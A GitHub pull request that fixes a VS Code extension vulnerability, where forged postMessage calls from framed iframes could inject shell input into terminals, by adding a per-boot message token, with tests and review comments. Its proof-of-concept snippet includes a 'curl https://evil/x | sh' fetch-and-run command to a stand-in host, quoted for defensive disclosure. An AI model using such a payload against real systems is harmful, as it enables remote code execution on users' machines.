Skip to content

security(vscode): authenticate host→webview messages with a per-boot token - #378

Merged
nedtwigg merged 6 commits into
mainfrom
security/vscode-webview-message-token
Aug 16, 2026
Merged

security(vscode): authenticate host→webview messages with a per-boot token#378
nedtwigg merged 6 commits into
mainfrom
security/vscode-webview-message-token

Conversation

@nedtwigg

Copy link
Copy Markdown
Member

Fixes the BLOCKER qualitative finding that has been failing the nightly security-audit workflow since ~2026-08-06 (tracked in #301). All 30 mechanical FAIL IF checks were already passing; this finding is what was red — and because release.yml's publish-vscode job lists security-audit in needs:, it also gates the VS Code extension publish.

Not closing #301 — the audit closes it automatically on the next passing run.

The vulnerability

VSCodeAdapter's message listener branched purely on event.data.type and never established who sent the message.

A webview's window is a shared inbox. The extension host posts to it, and so can any framed surface — dor iframe and agent-browser surfaces render a real scriptable <iframe> (IframePanel.tsx), and parent.postMessage crosses origin and sandbox boundaries by design. allow-scripts alone is sufficient; the sandbox does not help here.

So a page inside an iframe surface could run:

window.parent.postMessage({
  type: 'dor:controlRequest', requestId: 'x', method: 'surface.send',
  params: { surface: '<surface-id>', input: 'curl https://evil/x | sh\n' }
}, '*');

The adapter dispatched that as a dormouse:control-request CustomEvent, use-dor-control.ts matched SURFACE_CONTROL_METHODS.send, and it became getPlatform().writePty(target.id, input) — arbitrary shell input into any addressable terminal, bypassing the control-socket token authentication that docs/specs/dor-cli.md establishes for exactly this operation. The same unguarded listener also accepted forged pty:data / pty:list / pty:replay, which can spoof terminal state.

The fix

A per-boot message token, reusing the injection mechanism that already exists rather than building new machinery:

  • Mint. getWebviewHtml mints 24 CSPRNG bytes (base64url) per webview document via mintWebviewMessageToken, and injects it as globalThis.__DORMOUSE_MESSAGE_TOKEN__ in the same nonce-gated inline script that already seeds __DORMOUSE_HOST_STATE__ / __DORMOUSE_SELECTED_SHELL__. Tokens live in a WeakMap keyed by vscode.Webview, so they follow webview lifetime with no cleanup and can't drift from the document carrying them.
  • Stamp. Every host → webview send goes through postToWebview, which adds the token. All 37 send sites are covered: attachRouter exposes it as a local post() (33 sites), and DormouseViewProvider.postMessage — already a chokepoint — routes through it (the remaining 4, including both extension.ts callers).
  • Check. VSCodeAdapter captures the token once at construction and calls isHostMessage(event.data, token) before branching on type, so the guard covers the whole listener — not just dor:controlRequest. The audit explicitly called out pty:* spoofing too.

Framed content cannot read the parent's globals cross-origin, so it cannot produce the token.

Why a token rather than event.source !== window.parent

A source check has to assert something about VS Code's internal webview frame topology, which is undocumented and can change between releases — and which I cannot verify without running the extension. A token depends on nothing but itself, so it can be tested and reasoned about in isolation.

It is deliberately not the CSP nonce, which was already available: that nonce authorizes script execution, this token authenticates a message sender. Different purposes; conflating them makes both harder to reason about, and the nonce appears in markup the page can read.

The second listener

requestResponse (formerly vscode-adapter.ts:171) installs a per-request listener; it is guarded too. It matches on type + requestId and resolves on first match, so a forged reply racing the real one would win — and these replies carry consequential host data (an iframe proxy URL, scrollback, clipboard contents). A test covers exactly that race.

Consistency with the existing pattern

The repo already has this shape: lib/src/lib/iframe-proxy-registry.ts exists so use-wall-keyboard.ts can do if (!isProxyOrigin(e.origin)) return;. The adapter was the one listener that skipped it. The new lib/src/lib/vscode-message-token.ts mirrors that — a small module holding the trust criterion so each listener stays a one-line guard — keyed on an unguessable secret instead of an origin, for the reason above.

The legitimate iframe→parent channels are untouched. IframePanel.tsx:273 and use-wall-keyboard.ts:53 have their own listeners and their own event.origin validation; this change is scoped to the adapter's listener. Verified by grep that only three window message listeners exist in the codebase and only the adapter's was modified.

Failure mode

Fails closed in both directions, and visibly rather than silently:

  • A webview served without the global accepts nothing.
  • A send that skips postToWebview has no token to stamp, so it is dropped and reported as undelivered (false) — the same signal the VS Code API gives for a dead webview, which the dormouse:newTerminal retry loop and forwardDorControlRequest's rejection path already handle.

Scope: VS Code only — confirmed, not assumed

I checked rather than assuming. standalone/src/tauri-adapter.ts receives dor:controlRequest over Tauri's listen() IPC (event.payload), and standalone/src/browser-sidecar-adapter.ts over the dev harness's host WebSocket. Neither registers a window message listener. A grep for addEventListener('message' across lib/src, standalone/src, website/src, vscode-ext/src and canopy returns exactly five hits: the two WebSocket listeners in the remote stack, and the three window listeners discussed above.

Verification

What I did verify:

  • pnpm build — exit 0.
  • pnpm test — 1444 tests pass (lib 1334, standalone 48, website 62), plus spec-lint: OK (23 specs, 24 files checked).
  • The tests are not vacuous. Before the fix, all 6 existing vscode-adapter.test.ts tests that dispatch an inbound message failed (rejected) while the 5 outbound-only ones passed. And with the guard temporarily neutered to if (false) return, all 5 new rejection tests fail; with it restored, all pass.
  • The core requested pair is there: a message without the token is ignored, the same message with it is processed.

New host message authentication block in lib/src/lib/platform/vscode-adapter.test.ts:

Test Asserts
ignores a control request without the host token the exploit payload dispatches no dormouse:control-request and posts nothing back
processes the same control request with the token the legitimate path still works
ignores untokened pty traffic pty:data / pty:replay / pty:exit / pty:list / terminal:semanticEvents all dropped
rejects a wrong token as firmly as a missing one guessing doesn't help
guards request/response replies too a forged reply loses the race to the real one
accepts nothing when the host injected no token fails closed

What I could not verify: I did not exercise the real VS Code extension — no Extension Development Host run, no pnpm dogfood:vscode install, no manual attempt at the exploit in a live webview. The token injection and the 37 rewritten send sites are covered by the build and by reasoning, not by a runtime test in VS Code. The end-to-end path worth a manual smoke test before merge is: open the Dormouse panel, confirm terminals spawn and stream (proves pty:* sends still carry the token), then run dor in a terminal (proves the control-request round trip) and open a dor iframe surface.

vscode-ext/src reports pre-existing tsc --noEmit errors under its tsconfig.json (missing @types/node, rootDir complaints about ../lib imports); it is not a build or CI gate — the extension builds with esbuild. I diffed the error sets before and after: the only two additions are exact clones of pre-existing categories (webview-messaging.ts reports the same Cannot find name 'crypto' that webview-html.ts already reports on the identical import { randomBytes } from 'crypto', and the new lib import adds one more rootDir line like every other lib import).

Specs

docs/specs/vscode.md owns this boundary and gains a "Webview message authentication" section next to the CSP policy, plus an invariant and the two new files in the architecture tree. docs/specs/transport.md gains a note that sender authenticity is the adapter's responsibility, not the protocol's — the schema says what a message means, never that it came from the host.

Follow-up, deliberately not in this PR

IframePanel.tsx:338 applies sandbox only when resolution.kind === 'proxied'; the raw fallback renders an unsandboxed iframe. That is a real second issue and was noted in the audit finding, but it is a separate change with its own blast radius. Flagging it here so it isn't lost.

🤖 Generated with Claude Code

…token

The VS Code adapter's `message` listener branched purely on `event.data.type`
and never established who sent the message. A webview's `window` is a shared
inbox: the extension host posts to it, and so can any framed surface (`dor
iframe`, agent-browser) via `parent.postMessage`, which crosses origin and
sandbox boundaries by design. So a page inside an iframe surface could post
`{type:'dor:controlRequest', method:'surface.send', params:{...}}` and reach
`writePty` — arbitrary shell input, bypassing the control-socket token that
docs/specs/dor-cli.md establishes for exactly that operation. The same channel
accepted forged `pty:data`/`pty:list`/`pty:replay` to spoof terminal state.

The host now mints a CSPRNG token per webview boot, injects it as
`__DORMOUSE_MESSAGE_TOKEN__` through the existing nonce-gated inline script,
and stamps every host→webview message with it via `postToWebview`. The adapter
captures the token at construction and drops any message that doesn't carry it,
before branching on `type`. Framed content cannot read the parent's globals
cross-origin, so it cannot produce the token.

A token rather than an `event.source` check: a source check asserts something
about VS Code's internal webview frame topology, which is undocumented and
unverifiable without running the extension. It is deliberately not the CSP
nonce — that authorizes script execution, this authenticates a sender.

Both adapter listeners are guarded, including the `requestResponse` reply
listener, where a forged reply would otherwise win on first match. The guard
lives in lib/src/lib/vscode-message-token.ts, following the shape of
iframe-proxy-registry.ts so each listener stays a one-line check. The Wall's
own iframe listeners keep their independent origin validation, untouched.

Fails closed both ways: a webview served without the global accepts nothing, and
a send that skips postToWebview delivers nothing (reported as undelivered, the
same signal the retry/reject paths already handle).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@cloudflare-workers-and-pages

cloudflare-workers-and-pages Bot commented Aug 16, 2026

Copy link
Copy Markdown

Deploying mouseterm with  Cloudflare Pages  Cloudflare Pages

Latest commit: 09ac024
Status:⚡️  Build in progress...

View logs

@dormouse-bot dormouse-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Traced the boundary independently and the fix holds up. Grepping postMessage across vscode-ext/src returns only extension.ts's two provider.postMessage calls and DormouseViewProvider.postMessage itself — zero direct webview.postMessage left in message-router.ts — so the 37-site conversion really is complete, which was the part most at risk given no live-extension run. Both getWebviewHtml callers (setupPanel, resolveWebviewView) mint before attachRouter, and because VS Code re-renders the stored html string on content recreation, a webview whose document is rebuilt without a re-resolve still carries the token its WeakMap entry holds. The other two window message listeners do validate event.origin, and no code path hands the token down to a frame (.contentWindow and iframe.postMessage have no hits), so the secret stays where the model needs it.

Two minor things inline, neither blocking.

One behavioral note that isn't worth an inline suggestion: DormouseViewProvider assigns this.view = view at the top of resolveWebviewView, then awaits ptyManager.getAvailableShells() before setting view.webview.html. activate() registers its own .then on that same cached promise first, so on a cold start where the panel resolves before shell detection finishes, applyShellsetSelectedShellpostMessage lands inside that window with this.view set but no token minted yet. Functionally that's a no-op — the message was dropped by VS Code before this PR too, and the shell still reaches the webview through the injected global — but it now writes an [error] line into the user-visible Dormouse output channel on an ordinary startup. Moving this.view = view below the view.webview.html = ... assignment closes it and keeps the error log meaning what you want it to mean. Happy to push that as a commit if you'd like.

Comment thread docs/specs/vscode.md Outdated
Comment thread vscode-ext/src/webview-messaging.ts Outdated
Follow-up cleanup on the per-boot token. The rule "every host to webview
send carries the token" was held up only by a spec bullet while
attachRouter still took a raw vscode.Webview, so webview.postMessage
stayed a valid expression at the exact site where all 31 sends live.

- Add WebviewChannel (post + onDidReceiveMessage) and narrow attachRouter
  to it. Bypassing the stamp no longer compiles.
- serveWebview mints, assigns webview.html, and returns the channel as
  one step, so a token cannot drift from its document. This also closes
  the window in resolveWebviewView where a background applyShell could
  post to a view whose HTML was not yet assigned.
- Drop the WeakMap, the tokenless-drop branch, and its log.error — with
  the token captured in the channel closure that state is unreachable.
  It had been reclassifying a wiring bug as "webview is dead", which the
  newTerminal retry loop reports as misleading user-facing advice.
- One randomSecret() for both the CSP nonce and the message token
  instead of two copies of randomBytes(24).toString('base64url').
- Shrink the globalThis cast in readHostMessageToken, drop rationale
  paragraphs that were verbatim copies of the spec, and remove a dead
  test dispatch (with a null token the guard returns before reading the
  envelope).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

@dormouse-bot dormouse-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The type-level version of the invariant holds up mechanically, not just by convention: webview.html = and webview.postMessage each appear exactly once across vscode-ext/src, both inside serveWebview, so "the only way to put a document on a webview" and "the only send path" are both grep-checkable now rather than spec bullets. Narrowing attachRouter to the channel also cost it nothing — message-router.ts has no remaining webview. member access besides the two the channel exposes.

The dropped test dispatch really is dead, not just redundant: with the global stubbed undefined the adapter's token is null, and isHostMessage returns at if (!token) return false before touching the envelope, so an explicit __dormouseToken: undefined could not have reached a different branch than the forgedMessage case already covers. And removing log.error is the right end of the fix I raised last round — this.channel is now set only after serveWebview, so a background applyShellsetSelectedShell landing inside the getAvailableShells() await returns false silently instead of writing an [error] line on an ordinary cold start. Same false the newTerminal/debugTheme retry loops already handle.

Two documentation-accuracy nits inline, neither blocking.

Comment thread docs/specs/vscode.md Outdated
Comment thread lib/src/lib/platform/vscode-adapter.test.ts Outdated
nedtwigg and others added 3 commits August 15, 2026 18:53
Co-authored-by: dormouse-bot <ned.twigg+dormouse-bot@diffplug.com>
Co-authored-by: dormouse-bot <ned.twigg+dormouse-bot@diffplug.com>
Co-authored-by: dormouse-bot <ned.twigg+dormouse-bot@diffplug.com>

@dormouse-bot dormouse-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Only new thing on this push: the test-comment edit applied my earlier suggestion rather than the correction I posted under it, so the sentence now runs together — Framed content can't read the forged message is just this without the stamp. One-line fix inline. The two docs/specs/vscode.md edits landed verbatim and check out against the code (serveWebview returns the WebviewChannel, and setupPanel / resolveWebviewView are indeed the only two sites still holding a raw vscode.Webview).

Comment thread lib/src/lib/platform/vscode-adapter.test.ts Outdated
Co-authored-by: dormouse-bot <ned.twigg+dormouse-bot@diffplug.com>
@nedtwigg
nedtwigg merged commit 0d830a1 into main Aug 16, 2026
4 of 5 checks passed
@nedtwigg
nedtwigg deleted the security/vscode-webview-message-token branch August 16, 2026 05:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants